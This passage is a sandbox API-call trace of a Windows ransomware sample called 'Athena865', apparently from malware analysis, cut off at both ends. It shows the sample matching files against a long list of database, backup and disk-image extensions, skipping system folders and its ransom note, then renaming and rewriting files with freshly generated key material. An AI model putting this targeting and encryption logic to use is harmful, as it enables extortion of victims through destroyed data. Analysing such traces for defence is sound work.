lpString2="mrg") returned -1 [0079.458] lstrlenW (lpString="mud") returned 3 [0079.458] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0079.458] lstrlenW (lpString="mwb") returned 3 [0079.458] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0079.458] lstrlenW (lpString="myd") returned 3 [0079.458] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0079.458] lstrlenW (lpString="ndf") returned 3 [0079.458] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0079.458] lstrlenW (lpString="nnt") returned 3 [0079.458] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0079.458] lstrlenW (lpString="nrmlib") returned 6 [0079.458] lstrcmpiW (lpString1="11.DLL", lpString2="nrmlib") returned -1 [0079.458] lstrlenW (lpString="ns2") returned 3 [0079.458] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0079.458] lstrlenW (lpString="ns3") returned 3 [0079.458] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0079.458] lstrlenW (lpString="ns4") returned 3 [0079.458] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0079.458] lstrlenW (lpString="nsf") returned 3 [0079.458] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0079.458] lstrlenW (lpString="nv") returned 2 [0079.458] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0079.458] lstrlenW (lpString="nv2") returned 3 [0079.458] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0079.458] lstrlenW (lpString="nwdb") returned 4 [0079.458] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0079.459] lstrlenW (lpString="nyf") returned 3 [0079.459] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0079.459] lstrlenW (lpString="odb") returned 3 [0079.459] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0079.459] lstrlenW (lpString="odb") returned 3 [0079.459] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0079.459] lstrlenW (lpString="oqy") returned 3 [0079.459] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0079.459] lstrlenW (lpString="ora") returned 3 [0079.459] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0079.459] lstrlenW (lpString="orx") returned 3 [0079.459] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0079.459] lstrlenW (lpString="owc") returned 3 [0079.459] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0079.459] lstrlenW (lpString="p96") returned 3 [0079.459] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0079.459] lstrlenW (lpString="p97") returned 3 [0079.459] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0079.459] lstrlenW (lpString="pan") returned 3 [0079.459] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0079.459] lstrlenW (lpString="pdb") returned 3 [0079.459] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0079.459] lstrlenW (lpString="pdm") returned 3 [0079.459] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0079.459] lstrlenW (lpString="pnz") returned 3 [0079.459] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0079.459] lstrlenW (lpString="qry") returned 3 [0079.459] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0079.459] lstrlenW (lpString="qvd") returned 3 [0079.459] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0079.459] lstrlenW (lpString="rbf") returned 3 [0079.459] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0079.460] lstrlenW (lpString="rctd") returned 4 [0079.460] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0079.460] lstrlenW (lpString="rod") returned 3 [0079.460] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0079.460] lstrlenW (lpString="rodx") returned 4 [0079.460] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0079.460] lstrlenW (lpString="rpd") returned 3 [0079.460] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0079.460] lstrlenW (lpString="rsd") returned 3 [0079.460] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0079.460] lstrlenW (lpString="sas7bdat") returned 8 [0079.460] lstrcmpiW (lpString1="0011.DLL", lpString2="sas7bdat") returned -1 [0079.460] lstrlenW (lpString="sbf") returned 3 [0079.460] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0079.460] lstrlenW (lpString="scx") returned 3 [0079.460] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0079.460] lstrlenW (lpString="sdb") returned 3 [0079.460] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0079.460] lstrlenW (lpString="sdc") returned 3 [0079.460] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0079.460] lstrlenW (lpString="sdf") returned 3 [0079.460] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0079.460] lstrlenW (lpString="sis") returned 3 [0079.460] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0079.460] lstrlenW (lpString="spq") returned 3 [0079.460] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0079.460] lstrlenW (lpString="te") returned 2 [0079.460] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0079.460] lstrlenW (lpString="teacher") returned 7 [0079.460] lstrcmpiW (lpString1="011.DLL", lpString2="teacher") returned -1 [0079.460] lstrlenW (lpString="tmd") returned 3 [0079.460] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0079.461] lstrlenW (lpString="tps") returned 3 [0079.461] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0079.461] lstrlenW (lpString="trc") returned 3 [0079.461] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0079.461] lstrlenW (lpString="trc") returned 3 [0079.461] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0079.461] lstrlenW (lpString="trm") returned 3 [0079.461] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0079.461] lstrlenW (lpString="udb") returned 3 [0079.461] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0079.461] lstrlenW (lpString="udl") returned 3 [0079.461] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0079.461] lstrlenW (lpString="usr") returned 3 [0079.461] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0079.461] lstrlenW (lpString="v12") returned 3 [0079.461] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0079.461] lstrlenW (lpString="vis") returned 3 [0079.461] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0079.461] lstrlenW (lpString="vpd") returned 3 [0079.461] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0079.461] lstrlenW (lpString="vvv") returned 3 [0079.461] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0079.461] lstrlenW (lpString="wdb") returned 3 [0079.461] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0079.461] lstrlenW (lpString="wmdb") returned 4 [0079.461] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0079.461] lstrlenW (lpString="wrk") returned 3 [0079.461] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0079.461] lstrlenW (lpString="xdb") returned 3 [0079.461] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0079.461] lstrlenW (lpString="xld") returned 3 [0079.461] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0079.462] lstrlenW (lpString="xmlff") returned 5 [0079.462] lstrcmpiW (lpString1="1.DLL", lpString2="xmlff") returned -1 [0079.462] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\NL7Models0011.DLL.Athena865") returned 70 [0079.462] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Models0011.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0011.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Models0011.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0011.dll.athena865"), dwFlags=0x1) returned 1 [0079.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\NL7Models0011.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\nl7models0011.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0079.463] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6630320) returned 1 [0079.463] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0079.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0079.464] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0079.464] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0079.464] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0079.464] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0079.465] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x652eb0, lpName=0x0) returned 0x17c [0079.466] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x600000, dwNumberOfBytesToMap=0x52eb0) returned 0x2d50000 [0079.482] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0079.563] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0079.582] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0079.583] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0079.583] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0079.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0079.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0079.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0079.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0079.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0079.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0079.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0079.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0079.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0079.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0079.583] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0079.586] CloseHandle (hObject=0x17c) returned 1 [0079.586] CloseHandle (hObject=0x154) returned 1 [0079.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0079.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0079.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0079.595] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42d95200, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x59590d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42d95200, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NPAUTHZ.DLL", cAlternateFileName="")) returned 1 [0079.596] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0079.596] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0079.596] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2=".") returned 1 [0079.596] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="..") returned 1 [0079.596] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="windows") returned -1 [0079.596] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="bootmgr") returned 1 [0079.596] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="temp") returned -1 [0079.596] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="pagefile.sys") returned -1 [0079.596] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="boot") returned 1 [0079.596] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="ids.txt") returned 1 [0079.596] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="ntuser.dat") returned -1 [0079.596] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="perflogs") returned -1 [0079.596] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2="MSBuild") returned 1 [0079.596] lstrlenW (lpString="NPAUTHZ.DLL") returned 11 [0079.596] lstrcpyW (in: lpString1=0x241e89e, lpString2="NPAUTHZ.DLL" | out: lpString1="NPAUTHZ.DLL") returned="NPAUTHZ.DLL" [0079.596] lstrlenW (lpString="NPAUTHZ.DLL") returned 11 [0079.596] lstrlenW (lpString="Athena865") returned 9 [0079.596] lstrcmpiW (lpString1="AUTHZ.DLL", lpString2="Athena865") returned 1 [0079.596] lstrlenW (lpString=".dll") returned 4 [0079.596] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2=".dll") returned 1 [0079.596] lstrlenW (lpString=".lnk") returned 4 [0079.596] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2=".lnk") returned 1 [0079.596] lstrlenW (lpString=".ini") returned 4 [0079.596] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2=".ini") returned 1 [0079.596] lstrlenW (lpString=".sys") returned 4 [0079.596] lstrcmpiW (lpString1="NPAUTHZ.DLL", lpString2=".sys") returned 1 [0079.596] lstrlenW (lpString="NPAUTHZ.DLL") returned 11 [0079.596] lstrlenW (lpString="bak") returned 3 [0079.596] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0079.596] lstrlenW (lpString="ba_") returned 3 [0079.596] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0079.597] lstrlenW (lpString="dbb") returned 3 [0079.597] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0079.597] lstrlenW (lpString="vmdk") returned 4 [0079.597] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0079.597] lstrlenW (lpString="rar") returned 3 [0079.597] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0079.597] lstrlenW (lpString="zip") returned 3 [0079.597] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0079.597] lstrlenW (lpString="tgz") returned 3 [0079.597] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0079.597] lstrlenW (lpString="vbox") returned 4 [0079.597] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0079.597] lstrlenW (lpString="vdi") returned 3 [0079.597] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0079.597] lstrlenW (lpString="vhd") returned 3 [0079.597] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0079.597] lstrlenW (lpString="vhdx") returned 4 [0079.597] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0079.597] lstrlenW (lpString="avhd") returned 4 [0079.597] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0079.597] lstrlenW (lpString="db") returned 2 [0079.597] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0079.597] lstrlenW (lpString="db2") returned 3 [0079.597] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0079.597] lstrlenW (lpString="db3") returned 3 [0079.597] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0079.597] lstrlenW (lpString="dbf") returned 3 [0079.597] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0079.597] lstrlenW (lpString="mdf") returned 3 [0079.597] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0079.597] lstrlenW (lpString="mdb") returned 3 [0079.598] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0079.598] lstrlenW (lpString="sql") returned 3 [0079.598] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0079.598] lstrlenW (lpString="sqlite") returned 6 [0079.598] lstrcmpiW (lpString1="HZ.DLL", lpString2="sqlite") returned -1 [0079.598] lstrlenW (lpString="sqlite3") returned 7 [0079.598] lstrcmpiW (lpString1="THZ.DLL", lpString2="sqlite3") returned 1 [0079.598] lstrlenW (lpString="sqlitedb") returned 8 [0079.598] lstrcmpiW (lpString1="UTHZ.DLL", lpString2="sqlitedb") returned 1 [0079.598] lstrlenW (lpString="xml") returned 3 [0079.598] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0079.598] lstrlenW (lpString="$er") returned 3 [0079.598] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0079.598] lstrlenW (lpString="4dd") returned 3 [0079.598] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0079.598] lstrlenW (lpString="4dl") returned 3 [0079.598] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0079.598] lstrlenW (lpString="^^^") returned 3 [0079.598] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0079.598] lstrlenW (lpString="abs") returned 3 [0079.598] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0079.598] lstrlenW (lpString="abx") returned 3 [0079.598] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0079.598] lstrlenW (lpString="accdb") returned 5 [0079.598] lstrcmpiW (lpString1="Z.DLL", lpString2="accdb") returned 1 [0079.598] lstrlenW (lpString="accdc") returned 5 [0079.598] lstrcmpiW (lpString1="Z.DLL", lpString2="accdc") returned 1 [0079.598] lstrlenW (lpString="accde") returned 5 [0079.598] lstrcmpiW (lpString1="Z.DLL", lpString2="accde") returned 1 [0079.598] lstrlenW (lpString="accdr") returned 5 [0079.598] lstrcmpiW (lpString1="Z.DLL", lpString2="accdr") returned 1 [0079.598] lstrlenW (lpString="accdt") returned 5 [0079.599] lstrcmpiW (lpString1="Z.DLL", lpString2="accdt") returned 1 [0079.599] lstrlenW (lpString="accdw") returned 5 [0079.599] lstrcmpiW (lpString1="Z.DLL", lpString2="accdw") returned 1 [0079.599] lstrlenW (lpString="accft") returned 5 [0079.599] lstrcmpiW (lpString1="Z.DLL", lpString2="accft") returned 1 [0079.599] lstrlenW (lpString="adb") returned 3 [0079.599] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0079.599] lstrlenW (lpString="adb") returned 3 [0079.599] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0079.599] lstrlenW (lpString="ade") returned 3 [0079.599] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0079.599] lstrlenW (lpString="adf") returned 3 [0079.599] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0079.599] lstrlenW (lpString="adn") returned 3 [0079.599] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0079.599] lstrlenW (lpString="adp") returned 3 [0079.599] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0079.599] lstrlenW (lpString="alf") returned 3 [0079.599] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0079.599] lstrlenW (lpString="ask") returned 3 [0079.599] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0079.599] lstrlenW (lpString="btr") returned 3 [0079.599] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0079.599] lstrlenW (lpString="cat") returned 3 [0079.599] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0079.599] lstrlenW (lpString="cdb") returned 3 [0079.599] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0079.599] lstrlenW (lpString="ckp") returned 3 [0079.599] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0079.599] lstrlenW (lpString="cma") returned 3 [0079.599] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0079.599] lstrlenW (lpString="cpd") returned 3 [0079.600] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0079.600] lstrlenW (lpString="dacpac") returned 6 [0079.600] lstrcmpiW (lpString1="HZ.DLL", lpString2="dacpac") returned 1 [0079.600] lstrlenW (lpString="dad") returned 3 [0079.600] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0079.600] lstrlenW (lpString="dadiagrams") returned 10 [0079.600] lstrcmpiW (lpString1="PAUTHZ.DLL", lpString2="dadiagrams") returned 1 [0079.600] lstrlenW (lpString="daschema") returned 8 [0079.600] lstrcmpiW (lpString1="UTHZ.DLL", lpString2="daschema") returned 1 [0079.600] lstrlenW (lpString="db-journal") returned 10 [0079.600] lstrcmpiW (lpString1="PAUTHZ.DLL", lpString2="db-journal") returned 1 [0079.600] lstrlenW (lpString="db-shm") returned 6 [0079.600] lstrcmpiW (lpString1="HZ.DLL", lpString2="db-shm") returned 1 [0079.600] lstrlenW (lpString="db-wal") returned 6 [0079.600] lstrcmpiW (lpString1="HZ.DLL", lpString2="db-wal") returned 1 [0079.600] lstrlenW (lpString="dbc") returned 3 [0079.600] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0079.600] lstrlenW (lpString="dbs") returned 3 [0079.600] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0079.600] lstrlenW (lpString="dbt") returned 3 [0079.600] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0079.600] lstrlenW (lpString="dbv") returned 3 [0079.600] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0079.600] lstrlenW (lpString="dbx") returned 3 [0079.600] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0079.600] lstrlenW (lpString="dcb") returned 3 [0079.600] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0079.600] lstrlenW (lpString="dct") returned 3 [0079.600] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0079.600] lstrlenW (lpString="dcx") returned 3 [0079.600] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0079.600] lstrlenW (lpString="ddl") returned 3 [0079.601] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0079.601] lstrlenW (lpString="dlis") returned 4 [0079.601] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0079.601] lstrlenW (lpString="dp1") returned 3 [0079.601] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0079.601] lstrlenW (lpString="dqy") returned 3 [0079.601] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0079.601] lstrlenW (lpString="dsk") returned 3 [0079.601] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0079.601] lstrlenW (lpString="dsn") returned 3 [0079.601] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0079.601] lstrlenW (lpString="dtsx") returned 4 [0079.601] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0079.601] lstrlenW (lpString="dxl") returned 3 [0079.601] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0079.601] lstrlenW (lpString="eco") returned 3 [0079.601] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0079.601] lstrlenW (lpString="ecx") returned 3 [0079.601] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0079.601] lstrlenW (lpString="edb") returned 3 [0079.601] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0079.601] lstrlenW (lpString="epim") returned 4 [0079.601] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0079.601] lstrlenW (lpString="fcd") returned 3 [0079.601] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0079.601] lstrlenW (lpString="fdb") returned 3 [0079.601] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0079.601] lstrlenW (lpString="fic") returned 3 [0079.601] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0079.601] lstrlenW (lpString="flexolibrary") returned 12 [0079.601] lstrlenW (lpString="fm5") returned 3 [0079.601] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0079.602] lstrlenW (lpString="fmp") returned 3 [0079.602] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0079.602] lstrlenW (lpString="fmp12") returned 5 [0079.602] lstrcmpiW (lpString1="Z.DLL", lpString2="fmp12") returned 1 [0079.602] lstrlenW (lpString="fmpsl") returned 5 [0079.602] lstrcmpiW (lpString1="Z.DLL", lpString2="fmpsl") returned 1 [0079.602] lstrlenW (lpString="fol") returned 3 [0079.602] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0079.602] lstrlenW (lpString="fp3") returned 3 [0079.602] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0079.602] lstrlenW (lpString="fp4") returned 3 [0079.602] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0079.602] lstrlenW (lpString="fp5") returned 3 [0079.602] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0079.602] lstrlenW (lpString="fp7") returned 3 [0079.602] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0079.602] lstrlenW (lpString="fpt") returned 3 [0079.602] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0079.602] lstrlenW (lpString="frm") returned 3 [0079.602] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0079.602] lstrlenW (lpString="gdb") returned 3 [0079.602] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0079.602] lstrlenW (lpString="gdb") returned 3 [0079.602] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0079.602] lstrlenW (lpString="grdb") returned 4 [0079.602] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0079.602] lstrlenW (lpString="gwi") returned 3 [0079.602] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0079.602] lstrlenW (lpString="hdb") returned 3 [0079.602] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0079.602] lstrlenW (lpString="his") returned 3 [0079.602] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0079.603] lstrlenW (lpString="ib") returned 2 [0079.603] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0079.603] lstrlenW (lpString="idb") returned 3 [0079.603] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0079.603] lstrlenW (lpString="ihx") returned 3 [0079.603] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0079.603] lstrlenW (lpString="itdb") returned 4 [0079.603] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0079.603] lstrlenW (lpString="itw") returned 3 [0079.603] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0079.603] lstrlenW (lpString="jet") returned 3 [0079.603] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0079.603] lstrlenW (lpString="jtx") returned 3 [0079.603] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0079.603] lstrlenW (lpString="kdb") returned 3 [0079.603] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0079.603] lstrlenW (lpString="kexi") returned 4 [0079.603] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0079.603] lstrlenW (lpString="kexic") returned 5 [0079.603] lstrcmpiW (lpString1="Z.DLL", lpString2="kexic") returned 1 [0079.603] lstrlenW (lpString="kexis") returned 5 [0079.603] lstrcmpiW (lpString1="Z.DLL", lpString2="kexis") returned 1 [0079.603] lstrlenW (lpString="lgc") returned 3 [0079.603] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0079.603] lstrlenW (lpString="lwx") returned 3 [0079.603] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0079.603] lstrlenW (lpString="maf") 